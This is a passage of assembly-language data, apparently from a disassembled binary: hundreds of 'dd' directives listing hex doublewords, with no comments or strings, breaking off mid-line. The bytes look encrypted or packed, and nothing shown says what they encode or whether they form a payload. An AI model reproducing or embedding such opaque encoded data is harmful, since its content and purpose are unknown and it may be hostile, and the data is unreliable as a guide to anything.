6A5F4B8Ah dd 0C0A84A24h, 46C780C2h, 7DD6B92h, 75A9D612h, 1D452F4Dh dd 40923522h, 70ED3E3Eh, 0F477137Bh, 4152C491h, 2D8D89B3h dd 37AB2B01h, 0FA150012h, 0C9006785h, 92FC9744h, 2FBD70EEh dd 0BFFC897Bh, 4E867E4Ch, 23E7C4h, 813C2E0Ch, 8864E8h dd 23EB6A2Ah, 9D09B130h, 8A84AD4Ah, 23B46BEAh, 0E19E1214h dd 0D96E7FE8h, 1F6E7907h, 648540F4h, 0C5047757h, 29A19D33h dd 4AB959E4h, 903FAA23h, 0C168162Ch, 60680FFCh, 0D4E1DA1h dd 807C60ABh, 0ABA21CDFh, 9701D05Fh, 907C1E09h, 0B00D73F6h dd 6E8400D7h, 0BB9030BCh, 0AE76FCCEh, 16B46A70h, 0C60902DCh dd 0F2D1492Dh, 441615D7h, 39C2FF2Ah, 5A575E16h, 8F60626Dh dd 971EC012h, 5DA512D9h, 0F5807F65h, 58967836h, 0F11A4B2Ah dd 0A0FD3775h, 3BD1725Dh, 0AA166345h, 4E36B8A2h, 41F892E9h dd 0CE5C9902h, 0F8523B8Fh, 260520A1h, 4D205090h, 0EED0B70Fh dd 0E66F4B25h, 6DEFA074h, 3A73BD29h, 48CF81C1h, 9778B2FCh dd 0A1E7DB82h, 61BB85A7h, 4A0B7A95h, 0DFAEB2F3h, 0DD5E7C4Ch dd 4B5C9FA0h, 603FCCB5h, 5A1EEEF6h, 0FD65B7B3h, 0D440B788h dd 250B1646h, 9D62DE66h, 0BFA0EE5Fh, 0CB3B3C35h, 6C275CCAh dd 0F8D850D3h, 9A5D97ACh, 0A1F168h, 1463486Bh, 0AA021FA4h dd 6DBAD566h, 0D68B5E4Eh, 110A1646h, 3ECD3290h, 0BB750C4h dd 5C90D5F5h, 68D0619h, 83F98D29h, 0F2FFE917h, 3287AAEh dd 4945BF94h, 0C18BF916h, 38E46A20h, 2A898DF8h, 0E3FE1840h dd 6D3B01DEh, 8BF5EF05h, 317561C6h, 0CED87F37h, 0E437006Fh dd 0DC3315EBh, 0D23A8C1Ah, 2AC480A5h, 0E5087E4Eh, 80F9BD22h dd 0CC6193A6h, 1DFC78A2h, 9DE00E7h, 0C4B1FE4Bh, 5A71CE69h dd 73D29DA2h, 5A602438h, 67BC1BADh, 0FE125D97h, 15E1FCE6h dd 522D950Fh, 21E876FDh, 0D566B7h, 2F28BCC6h, 0A07C26C8h dd 5C64AC13h, 4E4FE88h, 63AE3C4Dh, 89AC81A2h, 6DC1E1Dh dd 3E87DA80h, 8B601DBCh, 0F4EBC0h, 0D976C24Ch, 0E6F5CD66h dd 3B92E400h, 0D15065EAh, 0D7ED0035h, 87789C58h, 2A011290h dd 45179273h, 6631465Bh, 799C3630h, 5E7B0043h, 442B9EDAh dd 0BE3CFE3Ch, 57D780CAh, 54C10662h, 3DA30089h, 0C7F6A291h dd 8000E51Dh, 997322FBh, 5A2AAFh, 2CF2A09Ah, 4FEE0349h dd 1C0EA139h, 0F78E4BEAh, 408AA0FCh, 1FB6D0h, 761677E4h dd 24D4AE79h, 0B0B8FCF1h, 0FE58BE00h, 0AB6A9F9Eh, 80A303B7h dd 1F2E20D0h, 73CC42F8h, 0A854C300h, 0DB5C4C06h, 0A0C50393h dd 3ADA3627h, 0EE9500AFh, 0D760561Fh, 29199F10h, 0BFE1079Ah dd 48888278h, 0EA18AB00h, 0C0B02F3h, 30A9E0Dh, 21C09008h dd 0B2EA10CAh, 0F3CE0795h, 0EE9CB11Dh, 2D3B3100h, 140C0E61h dd 318DAD19h, 0EDD0E78Bh, 11C26063h, 0D05D72DFh, 0BE754803h dd 306D408Fh, 221DC08h, 5E2E5D7Ah, 74006F04h, 0D467C738h dd 59260634h, 283DA84Bh, 742BF58h, 967F4C75h, 6A6FD2B0h dd 481F00F3h, 25983DD1h, 12062023h, 0E7BA4FD6h, 79F0C8F8h dd 0F2EA17C0h, 22034602h dd 0FCB0097h, 99256FEAh, 0AB008DF5h, 74083A2Ah, 50B7A054h dd 2857B498h, 0A30F08Ah, 0CC222FD6h, 0C27F80BCh, 83F1D08Eh dd 35E2A300h, 72B442E8h, 3DDA00BFh, 0F2FCD39Dh, 127EC1F6h dd 807C6000h, 27041965h, 0D8F07D5h, 0B21B5B8Ah, 54E0B232h dd 6000F415h, 0CEA3DD48h, 0B3F0C9h, 3A5DECA9h, 1826AA5Eh dd 7500B574h, 0B2CB9420h, 0CD63B81h, 0EE332499h, 21C0A708h dd 1FB2F371h, 0FD40007h, 412CA0D7h, 680062ACh, 0BC5BBEBAh dd 703B2EEAh, 0A54D0039h, 4104F5A0h, 0F9009F1Eh, 355D492Fh dd 44BAB2h, 0E025B420h, 77BFA587h, 8385F180h, 0ABB47103h dd 4955708h, 69074520h, 0E81E1F6Ah, 0BD18A798h, 0C451442Fh dd 1F217506h, 107005h, 0C01DB527h, 5EF46207h, 8C12B400h dd 11F95143h, 0EAF812ABh, 154B00B5h, 4531DCDBh, 8C355700h dd 808139F1h, 6D951FB3h, 0E299C09Ch, 0EC3F2944h, 40CE7200h dd 41F5BE4Fh, 426601FCh, 0DF095B85h, 0CF38D447h, 0CCE1120Fh dd 0CD53C0A4h, 6D9D7Fh, 18BC99B4h, 0DD476710h, 8063963Fh dd 0E266EFADh, 98BF9CE1h, 32F90067h, 917FED44h, 8C00DCE0h dd 0D7A5B0D4h, 789B47Bh, 0D9027D24h, 4906D001h, 72007842h dd 91EBDEBBh, 11E949Fh, 0BCF4EEF5h, 0F0B6D452h, 9AE83BEAh dd 0D100F27Eh, 0C2B5595Dh, 66BDF6BEh, 212208CAh, 5DD9FD00h dd 0CE51705Ch, 0F75F0119h, 15B316BDh, 8C2BC83Bh, 0BEB2250Fh dd 81772045h, 7B0EDh, 90FB638h, 2E1B75BBh, 669A28C0h, 38EDC625h dd 9D807E8Fh, 23B63EF6h, 8500C175h, 15B1F4ADh, 129A917h dd 0E3C7998Ch, 0C5BD1DDEh, 3E2081E2h, 0EB42B13Ah, 611204Fh dd 0A9209894h, 8F5580EAh, 0A53ED8C0h, 39E40D1h, 0B3925E68h dd 0E9E00476h, 20C09DAEh, 7B5DBAB6h, 6E2303D5h, 361B8A1Ah dd 21B30832h, 88F661DFh, 64C87C8h, 0B254A0ECh, 0ED46485Eh dd 0D17B5902h, 0B2314E23h, 7B41DB10h, 37176B03h, 0F2A958CFh dd 2FC0A132h, 2985A00Ah, 40E5BD23h, 0A98A9684h, 88E90876h dd 8DAE0229h, 0F0080383h, 0EC00F492h, 0C88EBE88h, 562EDB3h dd 8C9F8602h, 99AC043Ch, 1E874398h, 0A739050Eh, 40A2A108h dd 0E6E91AB0h, 0BC78307Bh, 0F09AEF12h, 0C0EC2408h, 0B5585DD0h dd 2722DA46h, 5DD8FC01h, 8849CCEDh, 48B5B1ECh, 50014AEh dd 9CCE0E1Fh, 0CDF889A0h, 0B718CF60h, 30818F6Ah, 7010BD91h dd 0C0F00660h, 8CB21F28h, 0B8024945h, 7B5330E7h, 7E23D711h dd 0E180B088h, 0C5077B5Bh, 9D8079Fh, 47709464h, 9510CCD2h dd 0CDB90312h, 3782145Dh, 879B2B71h, 9E91BDF0h, 98473CF0h dd 0EA8C802Ah, 0CDE92Dh, 0D3D25389h, 1ADDA1DBh, 5ED1DF1Fh dd 5C7C4D40h, 30570336h, 59500D8Dh, 69C08056h, 12F416C2h dd 7111008Bh, 8F52D9ADh, 9E50A5A1h, 0F0E1D080h, 0FA641206h dd 0D640E6A0h, 0E399A525h, 36DDE4A0h, 56F01202h, 0A81C1F87h dd 3508ACE8h, 1B2C07C4h, 458C4F7Ah, 0B08B8248h, 6814E992h dd 384108Bh, 74E2B77Bh, 0CC3DF1C0h, 0B585250Ch, 7BD86884h dd 0B1C90270h, 2862A60Dh, 0D9BD0460h, 3F05C492h, 3C77A946h dd 0B1B38C45h, 0F076DC21h, 5552EC00h, 92818560h, 17115E1h dd 683021EAh, 0E4560160h, 0FB011B7Ch, 2C6348D5h, 3AE0D1DDh dd 9CF502D8h, 0DF0D2FF0h, 0F40B7C45h, 72C1006Ch, 74DDCA39h dd 0A4260556h, 4150DCFCh, 53D72C80h, 0A3E443C4h, 3E68A903h dd 0F782DCh, 4BE01249h, 0EACA89F8h, 0FA719E19h, 21801908h dd 384BE834h, 592E0D06h, 57094EA4h, 0FE140169h, 0A0925236h dd 0EB543228h, 117B5F30h, 885E23D3h, 47DD80B7h, 0EF87A47Bh dd 0D27FC205h, 0E4806EF4h, 5021B18Fh, 0B001E8A6h, 28394853h dd 88C67205h, 0DBEC0882h, 0E01CF8A0h, 923DAA45h, 24099679h dd 0C8C888C6h, 71D80D0Ch, 0BE0318F0h, 5987398Bh, 0A1E5C10Ah dd 6CA4D8BAh, 3AB44674h, 8CB5836Ch, 0A862DDA6h, 0B0104B05h dd 9D230908h, 1800EB01h, 0F19BB680h, 9A20C005h, 44005644h dd 0E0B7F896h, 160E0601h, 8DE093Ah, 0CC219562h, 5C5440F0h dd 9CE33076h, 0C8827252h, 0ED209898h, 0F854ACEEh, 152D438Dh dd 0E80A83h, 5B7ED6Ch, 12A37282h, 47E75F7h, 103D7710h dd 700A7CECh, 0B4FEBE3Ch, 0B8643691h, 0B7F46040h, 0EE0121E4h dd 0B7ECC8C0h, 200D3FCBh, 5083B13h, 2F824Ah, 1A5BF0D4h dd 0A9FA397Ah, 0A4F17524h, 0E77D1582h, 20A08CF4h, 4DB5837h dd 4889F010h, 0F38C76CCh, 4DB5E060h, 2688CC3Ah, 5DDCF880h dd 1EBC7FACh, 0F056C412h, 86F96CA1h, 0BE6F2C13h, 5CA1BB00h dd 3B60FA94h, 449EA237h, 36EFC178h, 20E32890h, 0AF323A34h dd 2C54B08Dh, 48CF190h, 0B5535DD7h, 202A6232h, 0E85DDFF7h dd 89985530h, 2E735782h, 389F28h, 8461E1D7h, 3A0F9EC1h dd 0D2BCA1EAh, 28C7C04h, 64C8650Ah, 0B7B06742h, 8CDE01E6h dd 0F69344h, 75DBB7EAh, 53C83CD6h, 56116E0Ch, 7DD42183h dd 542800CEh, 5F1B52C4h, 0A0900214h, 8020A045h, 0E5F840F5h dd 3310B49Ah, 292ABFB7h, 247464Ch, 1E3B7F5h, 119C31F6h dd 20BAEDCBh, 0E4E9470Ah, 27467EACh, 76310772h, 74A9F19Dh dd 0A120C2ABh, 0F7011CE4h, 0C441190Fh, 5D07A81h, 8AAD00E8h dd 0CF6FFF1Eh, 25188598h, 9A315214h, 218118F7h, 270348A4h dd 4434A926h, 7908E90Ch, 1B75120Dh, 525802F5h, 0B4673EF1h dd 0D86018C4h, 0CD0095D0h, 1C45F65h, 9A0F7D37h, 2355037Ch dd 4EB354EAh, 421AF6A9h, 0F33041B4h, 1E511B7h, 809D88E6h dd 24B7EBC9h, 0BD092731h, 87B2C89Ch, 4AC3051Ch, 17C00026h dd 0F7112CE9h, 8EFD85B9h, 0A069E3F8h, 0BCB8855h, 1D4E3A6Eh dd 0FC13A87h, 897DD1E4h, 27408335h, 0CED08Dh, 1D471358h dd 3EBB39E9h, 0E8DC5A48h, 0B8098C27h, 43CAFCDh, 7C408830h dd 8362A12Ch, 0BA315A7Ch, 0ECDC1926h, 41BCB0E1h, 8DF3D101h dd 0A9E90589h, 9DD198C8h, 0D9012418h, 6B911853h, 6044BAF0h dd 94A3F483h, 0E0D49906h, 0D302ED46h, 0D2B55F5Dh, 0FB102131h dd 48F45DDBh, 0FE008B75h, 0D9B0B1AAh, 0FA2F0192h, 8FFCA019h dd 0B99130A9h, 8E53F6C0h, 0EDAD71Fh, 12C7E0Fh, 8D368728h dd 3075BBDCh, 9A9004BFh, 0B0C3565h, 48127157h, 91CA00F2h dd 76B347EAh, 3A5DF752h, 9DB9089Ch, 370503CBh, 0A0C095D6h dd 0D3036BF3h, 98177F2h, 0B62002C6h, 0DBEE1B0Eh, 7523209Eh dd 7F540198h, 0D471495Bh, 39006101h, 0FA8D09E5h, 0C0EAA26Dh dd 0DDC825C9h, 5D092705h, 4A09EF4h, 0E560D9A0h, 8923F34Bh dd 1E11F2h, 934BED31h, 3367E8h, 0A108367Ch, 75B189E4h dd 98A0B56Ah, 19F4674h, 0C97582Ah, 19808455h, 57FA4556h dd 65E877BBh, 93F06400h, 0CBB3B681h, 0B25533B9h, 309E5270h dd 1FDDE4A0h, 41207683h, 35448CAh, 0E5DA7466h, 0D110B119h dd 25A1890h, 8C6F0B3Ch, 0E4C0E0ECh, 0E60E7143h, 52231D3Fh dd 70080C16h, 7B5CC0E8h, 665C23D4h, 44E0E0D0h, 3CE037Bh dd 0C9551668h, 0D06A31B8h, 2FB7D0A0h, 5492A978h, 8EA37E00h dd 0BC504277h, 59C70008h, 131E9720h, 0CB010304h, 0FF55D951h dd 76C93D18h, 0F94A70h, 13623036h, 0A1E18BD3h, 1CFDEE00h dd 6A58838Dh, 0F07C0042h, 14375728h, 9D00E1EAh, 0DB1C71B8h dd 3E296ABDh, 0B09F7C83h, 232EC0FBh, 0C0A34711h, 2F003CE2h dd 84A0B768h, 2CDCB4h, 176993F9h, 154989ADh, 0C35D4600h dd 0EA635053h dd 76D00012h, 403E5BDEh, 0F8009775h, 0B569A5D4h, 94FAABh dd 85CB4FA3h, 7019F915h, 6E555B24h, 98DB7300h, 0EDAFA37h dd 265FACC0h, 0C06154C4h, 2C93A091h, 5510E101h, 25433AB3h dd 48E015D1h, 7D6E82Ah, 650692A8h, 4CFD0027h, 94068488h dd 7AAD811h, 924E0318h, 0FC59145h, 0E04AF5E1h, 0C0783823h dd 46D0950Ch, 18B32808h, 612C9718h, 660036A0h, 0C5B52DAAh dd 1490A8EFh, 0E92778DBh, 0C607B358h, 3CFC1604h, 29322530h dd 10A02812h, 200979Ah, 75160D09h, 606782BCh, 0E56D782Ah dd 5B6891CCh, 7D631CD1h, 50191842h, 5B1BC075h, 0A0640FFEh dd 11216498h, 80A1E2B8h, 0A16C5130h, 11515C21h, 0C9C0610h dd 0C300747Bh, 1D3E9AA6h, 60AAE545h, 0D5B32013h, 0FC00A5A9h dd 0A6A86115h, 10E1168h, 90ED5EE0h, 874A7ECBh, 49F345B1h dd 0E3FB630Fh, 35F819Ch, 3172D2D0h, 7E511B78h, 19318115h dd 1E940D02h, 90CCF0h, 68BC0E04h, 0CD8B22BDh, 0C83245B8h dd 208D7855h, 6BBE5648h, 2BCE1C05h, 0A004B7E3h, 4E4192D0h dd 4061669Ah, 0E058D898h, 3AF82F00h, 230B568Ch, 201000E2h dd 145030DDh, 9230CC5Ch, 0D8EF7902h, 24D950C5h, 0DE4D8847h dd 177E301Eh, 987D8B8Eh, 0F13EC1h, 9CAE5A84h, 32651636h dd 61CEB505h, 0B05CB7A3h, 580BACC7h, 706556D1h, 0D88A38BEh dd 0EDC343Eh, 50580679h, 1C4908C5h, 0BC401C40h, 7DFB4680h dd 9AB33FCh, 398BA24Ah, 6ABE2000h, 0DD001648h, 892F327Ch dd 0A037ABA4h, 149CF4A2h, 0F4DCC0DFh, 5E73007Ch, 180AC22Ah dd 61C127EBh, 40B67E9Ah, 3A96B09Ch, 527F03F9h, 753A5E9Ch dd 61C51806h, 2C9B1A4h, 24E14B48h, 0E4A712AAh, 0E4800968h dd 0FBFC93F7h, 89535212h, 2B6FB004h, 0E7E40C1Fh, 0AA114819h dd 0FB1A3227h, 0C00559B2h, 0EDA84364h, 6E5E6D0h, 6935AA8Ch dd 0E4004274h, 0F87EE7AFh, 12C54DD1h, 0ECAA09h, 3AA7BC08h dd 8F02F321h, 155169BEh, 33660A4h, 88A20033h, 0F395C13Bh dd 23078683h, 9C3A96C6h, 0DBF0E9h, 0D74309DAh, 4AD8F6DFh dd 4208A500h, 0CDEFE228h, 3DB797Bh, 0C3724745h, 4878DFDCh dd 0F7B3081Bh, 0F271F920h, 303E609Eh, 39B27869h, 0F489800h dd 0D39D17A5h, 0FB0F6A7h, 45545AAAh, 7B067A60h, 0D107E343h dd 9C5B158Ch, 0A9EA3B20h, 8E40C33h, 4551D31Ah, 0F9B71818h dd 23D7270h, 0F898018Dh, 0DA007A63h, 3A3FC40Dh, 4C18D789h dd 0F618C643h, 846241C6h, 4E53F29h, 152DA980h, 6CE25A99h dd 7BCE4A00h, 0D1C758E7h, 77620774h, 31850CB5h, 209754FEh dd 0B36FDB4Dh, 5F90A480h, 68205A80h, 5802606Ch, 0B7410F95h dd 0B00A6FEh, 0ABC11277h, 42995Bh, 0DABEF0C0h, 78105D72h dd 700087EAh, 0E98A4084h, 216E759h, 89642CEBh, 0EEE0C023h dd 0CB75F052h, 12338B00h, 0FA781103h, 7F2300FDh, 983197DAh dd 4700E860h, 0A29262EEh, 74D5A5h, 3682FD4Dh, 2A5D6D76h dd 48C0FAB0h, 0E3242311h, 0F4511893h, 6FA28897h, 2D2EC505h dd 94C0B9A7h, 72E7ADD8h, 6E8A03ECh, 0E8D9D49Ah, 0F4C29011h dd 3AE6560Eh, 2AC7D120h, 1A00F933h, 3CDA75FFh, 0C0F2C142h dd 0ADDE10A0h, 0CE06CCE1h, 0F1F6C25Dh, 2B20C040h, 12709737h dd 308C011Ch, 0C5EF4C80h, 609D44E5h, 12714178h, 0A0F01E6Bh dd 1A4FBE07h, 0F23037Fh, 0A4408D5Bh, 37F1CF5Eh, 0FE260046h dd 7FC7E4C4h, 0A73A47D7h, 0FA486073h, 23C5Fh, 84D8D48Fh dd 0CB726F18h, 0B801D5E8h, 0C4E98747h, 0C0609FCFh, 0E8C9F65Ch dd 2019605Eh, 9AE98F1Dh, 30F92B00h, 0B0CBB7D8h, 0CE2A3983h dd 8A87C580h, 936E42B8h, 2E328900h, 4A2B2031h, 1F7D0Bh dd 0B052CDE7h, 9CA35C4Bh, 0D5406D7Eh, 0F800E9B5h, 0E66DD6F7h dd 0DE002290h, 78D4D13h, 965B9D84h, 52C3614Eh, 8850E183h dd 38DD6230h, 37FADB87h, 149C09Fh, 520EAC5Ch, 402A8A61h dd 21E5C0BCh, 0B3AD0025h, 0E6F22BB4h, 0F3A3E49Fh, 83984000h dd 92D20B59h, 2D290EB4h, 828CB60Ah, 9B00E191h, 50629959h dd 0C8F7BA2h, 52E4F8B5h, 0A700F641h, 2A50409h, 18D3BC96h dd 90F57ABBh, 0EAA0FF72h, 6A02A91Bh, 2FEB9658h, 559C8057h dd 36039064h, 0A8102BFEh, 292AB1FEh, 41A0BC5Ch, 4003E39Fh dd 0C12C2512h, 76180C13h, 182022AAh, 3241AC00h, 4AADEA9Eh dd 0F4970A58h, 40708EE6h, 0D21659B4h, 91229A46h, 59ACEA01h dd 1DE4C938h, 0ECEFE3D8h, 0DC5220A0h, 7BA8CE07h, 0FF5557h dd 0F09EAA77h, 0F581C029h, 17F89DDBh, 19C7395Ch, 2708EEACh dd 0D1622180h, 1C01CE9Dh, 0CB883813h, 0AB89571Ch, 0EB040098h dd 3E0EEA3h, 0F70FAC19h, 3800AA86h, 4AC1DB2Ah, 1F99F85h dd 673C705Bh, 0D8F1C222h, 6B00A98Ch, 55E99951h, 2A5E05Dh dd 25970A15h, 94A1C521h, 26701885h, 0E97C0274h, 31A7CFC7h dd 85101042h, 0F26D00E9h, 247D89Dh, 0A909C711h, 6542F9h dd 0DE2C773Ch, 0D01554EEh, 6C0B0038h, 8110AB86h, 603A93CAh dd 21BC308Eh, 6C13EAh, 0AC7E1BD0h, 604E01F3h, 97F6CC18h dd 0FA69E9h, 8F675E2Eh, 0B37C5B19h, 22504B12h, 0B461200Ah dd 32D9BCA1h, 5E040218h, 7F126452h, 30850C82h, 35085989h dd 64B562D2h, 0A1E34084h, 0B76B59h, 0C8A0D198h, 0CB47D2CDh dd 13212098h, 0E9738175h, 18BFCFD8h, 9A91885Bh, 0CDE5E90Eh dd 0E067E0E2h, 13AED48Dh, 38542F8h, 3E5D2B61h, 0FF1F4F90h dd 0CC904B14h, 0FAB60080h, 0DC1A056Bh, 3776A3h, 0EBD061A9h dd 7AF9B310h, 5F68B000h, 7857B82Bh, 5258C088h, 5173A902h dd 55402E01h, 0FFB0EE9Ch, 8402BC25h, 59B53089h, 82D21112h dd 7EF9038h, 0A55859ADh, 5599A06Eh, 2F6192A9h, 73E996A0h dd 7BE906DBh, 393FEFDCh, 43DC482h, 2B027506h, 3D450010h dd 35408676h, 3000D6A6h, 3E84744Fh, 3053B74Ah, 2F20472Eh dd 0C200802Bh, 0F428FDE2h, 788E54F0h, 0B3FC0017h, 1F52EECEh dd 0E400D746h, 1D5E7083h, 1CA963A3h, 0C057CBA7h, 0D72B056Dh dd 0AC00354Dh, 943C32C0h, 8C9DA5h, 0A32FB758h, 1619D32Bh dd 0C93A7B00h, 9CE71BA6h, 8B07003Ch, 6BB08821h, 3300140Bh dd 0F6C677FDh, 0E63EFEh, 0C28A6D07h, 7611B806h, 3685A00h dd 23699855h, 50BF3CABh, 0A32B3100h, 89EDEE44h, 7BAC0813h dd 9BC4A03h, 35BAD149h, 0C025DAFFh, 219A9Dh, 0FCE8E7D8h dd 412724A1h, 471D040Fh, 954FC04Ah, 8B8468h, 0F4F0BC6Ah dd 0C6BB3C3Dh, 0C91A1803h, 0C08DA602h, 7D1767h, 5F7410ADh dd 49CBFEB1h, 472A570Fh, 110B60E8h, 3A415DDh, 4A9A4B14h dd 65B0C8EEh, 61E4BD60h, 2218FC00h, 5EA93BECh, 8F7D0016h dd 155A47CAh, 0DE0AAB3Ah, 0F09E434Eh, 0A75C688Eh, 5E80F886h dd 0A9DC0Ch, 4AFD3A39h, 0C3C971D2h, 0C499A61Ch, 1D745E80h dd 143D70BEh, 0A4EC90DCh, 0AEF88809h, 8118C90Ah, 7A74CCD2h dd 55A08058h, 0F0CEB407h, 67A000FEh, 4AEEF399h, 0DC0118B6h dd 338064E8h, 92C0854Eh, 820503CFh, 0DA16D397h, 8766D8D0h dd 0B1E12D26h, 0EA3AEB00h, 4A0F9Bh, 75D2FC99h, 0E30209A6h dd 3D11D800h, 3B543EE8h, 0E5E00078h, 0BA246D39h, 513A20FDh dd 7DBD128Bh, 601A080Eh, 0CD2CFCFAh, 0AD060389h, 0B8A9FEF2h dd 1A21E016h, 7100E854h, 1B55C206h, 6F073A1h, 401DDFDEh dd 8500E064h, 0B07212F2h, 3A6B826Ah, 9C00863Eh, 6ED65721h dd 70006450h, 0D270956h dd 0E139A4Ch, 0F492A68Bh, 0F9F1A7h, 4AC5B391h, 940301E4h dd 0E911C002h, 0A17DA08Bh, 4868C378h, 0B6DA4A12h, 49333C40h dd 7156E103h, 0D73FB752h, 1B4C63D0h, 0F8DD0025h, 5F54A619h dd 8C286E0Dh, 0D677CC2Ch, 0A7F5E00h, 529D874Dh, 0A141001Ch dd 0B8AD70BAh, 0B2E66F99h, 8494213Dh, 7F67642Fh, 4FBF0080h dd 8CA300A7h, 0A3156DBh, 58E84176h, 59BA2807h, 0A1901A8Bh dd 2B1DE8h, 2E807447h, 68F38DC0h, 4A3C3300h, 75B70984h dd 4ED8132Bh, 0EE3020DDh, 68788C5Ah, 0F697E300h, 0D11E5BAEh dd 0FB7D9Eh, 0DBD27407h, 4E64DFB4h, 6B110800h, 34ABE2CCh dd 6F3D00BEh, 0A03F9375h, 9CB820BBh, 0DF001490h, 0F658374Ch dd 0E0CE897Bh, 3D18C099h, 0DA1A8C52h, 0EF027078h, 498F29CCh dd 0ACD54183h, 0B0BD9920h, 0E2D4608Eh, 0DE4FFA3Ah, 4DA2280Fh dd 98C58062h, 0AE0E7Dh, 0CB02209h, 0BCAAC1FEh, 861FDAF8h dd 0D4C052B9h, 15A711E5h, 0D3E10264h, 635CF26Ch, 700FD7E0h dd 0D7C7B800h, 0FC938F53h, 4D990F5Bh, 224F6B42h, 2798E800h dd 3D019AB3h, 0E6869665h, 0F6F0C81Fh, 1B8F0506h, 898C59h dd 634099A1h, 9200F173h, 0AC9B7C86h, 3E21B083h, 480E11CCh dd 4CE9932h, 0A20D1C00h, 0EF061667h, 29B2286Bh, 2D0A30A8h dd 7257252Ah, 0C2F18701h, 0AB70CCECh, 6ADAD440h, 0FB883909h dd 0F5E84680h, 0F277A24Dh, 8670C800h, 0CF9E3325h, 0F9FF0195h dd 0FC3A14C5h, 42E6F0AEh, 8DA95004h, 508067E3h, 3C5B7D2h dd 0E44C11Fh, 0E0034775h, 3F17987Bh, 77900399h, 0F1D9C7B5h dd 0D09429F0h, 32D49003h, 0E8458173h, 5051B6h, 0DACC2855h dd 22C4589Eh, 474A949h, 0A24FDF3Eh, 63ECF281h, 0CC89A0EFh dd 30C49834h, 0F53CC695h, 5AFADF9Eh, 25055600h, 23723A91h dd 0D99604CAh, 808E6D06h, 5897AF5h, 8F975801h, 0F93254C2h dd 0A08D1EE0h, 7EEAC0h, 0DA956C51h, 0DE6656D1h, 0E284D414h dd 930500D8h, 82BC3311h, 390F00A0h, 0F3C6BE94h, 4E00719Dh dd 6F6C9E73h, 1D6E58D3h, 401A4AA8h, 74018223h, 48020E2Ah dd 0B0EF2860h, 0E2450F7h, 12EAB983h, 0BA5A2E3h, 9E1DC5E0h dd 98180A24h, 57C62204h, 0ECD96CC1h, 0EE11F3ECh, 0AF1F3B08h dd 0F8372000h, 0AB0E0287h, 9093D900h, 0FEDA8955h, 26920077h dd 0F450C5E9h, 11383B8Eh, 0FC9A001Ah, 45283927h, 5D650064h dd 0ACD937FEh, 0B10033DDh, 14DA8055h, 13683Dh, 9D1E57E4h dd 0BA37F1Fh, 25936D1Dh, 20AF3EC0h, 813FC4h, 0B3F55D97h dd 9A7B9B7Dh, 51DA072Ch, 2780681Dh, 961A3F59h, 0A5D42475h dd 648F386Bh, 41E08BC9h, 1D5D12B5h, 61C78A07h, 0BAF0FE94h dd 0BDA84Bh, 80FC6CE9h, 685CB2Ah, 0AA4C1E00h, 0B0678754h dd 1D437879h, 805286A9h, 63D25E02h, 0B09855B3h, 0BC285A00h dd 0B45BBF92h, 0F060002Fh, 0ADE9DD7Fh, 0AA01B90Fh, 925703BAh dd 6530C6B6h, 3EA370FAh, 67803F65h, 8528E046h, 0E9774C48h dd 64F2621Eh, 0BB811780h, 904D758h, 8083FBCCh, 7FFC580h dd 0E500B440h, 0DABDB261h, 17763BE2h, 6021FEh, 4302207Ah dd 65007924h, 7B9F38F9h, 242DE64h, 66B8BB14h, 0D48061B2h dd 0FE70BFB0h, 8639EF00h, 882276A5h, 0C2F70192h, 1BB10EF6h dd 118E3015h, 0E12C6F00h, 0B8B3DE63h, 0A8D60079h, 1E08678Ch dd 9D09D388h, 80F713A9h, 0C3440EDFh, 74B32518h, 0A18FB020h dd 30FF677Fh, 9003C64h, 71A488A3h, 3A7E79h, 5989AA06h dd 2BDE1E9Ah, 0E9499C07h, 3C275639h, 4A68F5D0h, 0B5520066h dd 0AB9B8A30h, 0BF00DBE3h, 27B16F2Ah, 1E768F98h, 0F864129h dd 4009E35h, 2B608483h, 0EA0A172Ch, 981C09h, 0FBE6FC7Eh dd 863800ABh, 95D077A9h, 82018CD8h, 5D43179Ah, 5039206Bh dd 0C9D04818h, 0C90EFFCEh, 8ED7CFC4h, 9F7982DAh, 5C10826Ch dd 0A21C80F7h, 3A7D2A9Eh, 98389117h, 0B860AEACh, 5DB4CA80h dd 3941926Fh, 0F5AFA100h, 50E5BCA8h, 0ED17414h, 8A2FC9DFh dd 0E3D37040h, 487C1780h, 0D984A100h, 8CD01D83h, 0E0990CB4h dd 0D190F2AEh, 9F0ACF08h, 3254646Fh, 0B4F700B6h, 0D5002644h dd 5F314907h, 0FD142E5h, 9F2B2487h, 79CCC940h, 0C0EE1F74h dd 90AD8300h, 42F08C18h, 10AA03D2h, 1B1D6FF9h, 0FCC1B1B0h dd 24B08600h, 3E7E139Bh, 0F82DEACFh, 0B4870046h, 0FFDEB512h dd 41002077h, 633305BEh, 3C0A6Ch, 49345AAEh, 8D2CF86h dd 38F03203h, 83A8B59Ah, 30BEB894h, 374A3AE6h, 0E93ED701h dd 0E841691Dh, 9F0F147Ah, 0A0A534FBh, 397697CBh, 760E0B6h dd 8F38A3A2h, 0B423A073h, 0CE00A418h, 2572BB56h, 6BF063h dd 0CAA5CF61h, 0B48D30Fh, 49CE6000h, 25B63A59h, 6E643FFFh dd 1DD4F612h, 0A9DDC0EDh, 851423F9h, 0D111A49Ch, 896C0880h dd 8718ABh, 0E6D70EFh, 0D700207Eh, 185D6F1Ch, 734DEBh dd 83CE77CBh, 0D152F3D3h, 0DA619F64h, 826D6760h, 8E70AB10h dd 6D6FDEB0h, 5D1D5201h, 0AF721462h, 1850A770h, 60744603h dd 0C907096h, 0A42EF24Eh, 22009E23h, 0A01E9042h, 504560EBh dd 0DC9AD161h, 0F890B0D3h, 0A4D32C76h, 6C0A045Ch, 62A8AB87h dd 72602EC6h, 0F673186Dh, 0A4583303h, 1AE3558Bh, 682EFB12h dd 9C79FC59h, 0F9FAF218h, 85691060h, 112A02h, 0E9D86C69h dd 6D86175Ah, 0AA772B09h, 3F4CE6ACh, 171F9DC5h, 0C891E169h dd 9DDB6C00h, 45491620h, 0B452E302h, 0D1AD9C69h, 6CD9F7Ch dd 761892A3h, 3EC2AE12h, 0E153D400h, 9BE2BEh, 866273DBh dd 70AFCDC5h, 7E004175h, 0BF47B534h, 7884B7E6h, 40F400FAh dd 562D3CAFh, 2400D652h, 0EF90681Fh, 0BA5A4Dh, 0C4F4E58Ch dd 168A92B4h, 3E00D0F2h, 0CD6D9118h, 0E05834h, 47B21DC6h dd 0CE3C9CCBh, 17F6101Eh, 59B07C00h, 0FE9CD12h, 0F58AAE2Dh dd 2465BC80h, 0D30E7BA9h, 8F42614Fh, 0D0A5003Ah, 6DC91FAh dd 0C4AD0F01h, 0E9670819h, 0E5500421h, 0C0D4FA28h, 86894510h dd 